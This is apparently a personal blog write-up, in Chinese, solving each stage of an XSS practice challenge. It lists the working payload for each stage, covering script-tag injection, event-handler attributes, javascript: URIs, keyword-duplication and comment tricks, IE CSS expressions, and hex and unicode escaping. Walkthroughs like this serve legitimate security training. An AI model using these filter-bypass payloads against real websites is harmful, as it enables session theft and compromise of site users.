xss练习
xss-challenge
stage1
观察标签,直接
1 | <script>alert(1)</script> |
stage2
输入1
1 | <input type="text" name="p1" size="50" value="1"> |
value=1,这里考虑闭合引号加> 然后再script
1 | "><script>alert(1)</script> |
stage3
这跟我近期玩过的类似,将< >转义了,我也不知道怎么下手,百度后知道可以抓包修改country,然后绕过xss,这里我思路被局限了,然后,我发觉我可以改标签啊,然后修改Japan为
1 | </b><script>alert(1)</script> |
成功绕过
stage4
Japan也被搞了,hackbar走起,发觉有个隐藏标签
这里注意sid每次不一样,不能重放,那就抓包改包就行
1 | p1=11&p2=Japan&p3="><script>alert(document.domain)</script> |
闭合标签然后弹窗就行
stage5
这里只是限制了长度,自行修改标签,或者抓包修改都行,后端没有验证
1 | p1="><script>alert(document.domain)</script> |
stage6
<过滤了
使用事件绕过
1 | " onmouseover="alert(document.domain)" |
stage7
过滤了尖括号跟引号,居然空格会被跳过处理原理未知
1 | 1 onmouseover=alert(1) |
stage8
href可以使用协议绕过
1 | javascript:alert(document.domain) |
stage9
手都没有ie浏览器,直接修改html绕过把。。
stage10
过滤了domain
果真是相通的,sql注入绕过的方法也可以适用于这里
1 | "><script>alert(document.ddomainomain)</script> |
stage11
1 | <script 替换了,on事件也替换了,用伪协议居然行,不过得加上一些特殊字符 |
这里这样行,可我换成script就不行了,不知道为啥
1 | 制表位	、换行
和回车
 这三个放进去是有效果的,但是空格的 还有 虽说能解码成空格,但是打开链接就是404了 |
stage12
1 | hint: "s/[\x00-\x20\<\>\"\']//g;" |
正则把不可见字符都过滤了,还有尖括号等,不知道咋绕过。据说ie有`当双引号特性
1 | `` onmouseover=alert(1) |
stage13
又是要ie
1 | aa:expression(onmouseover=function(){alert(document.domain)}) |
不过expression这个我还是第一次知道
stage14
还是ie
1 | here:expre/**/ssion(onmouseover=function(){alert(document.domain)}) |
注释符绕过
还有几种绕过过滤的方法:加\,加\0,将e转码为\0056
stage15
1 | \\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e |
后面都是我没学过的姿势了,学一下就好,16进制编码绕过,hackbar走起
unicode也可以
1 | \\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e |
stage16
过滤了16进制编码,那就用unicode,是可以的
1 | \\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e |
stage17,18
一个类似于宽字节注入,吃掉双引号,
stage19
ie8可以搞
自行尝试了
本文作者:NoOne
本文地址: https://noonegroup.xyz/posts/8cadec29/
版权声明:转载请注明出处!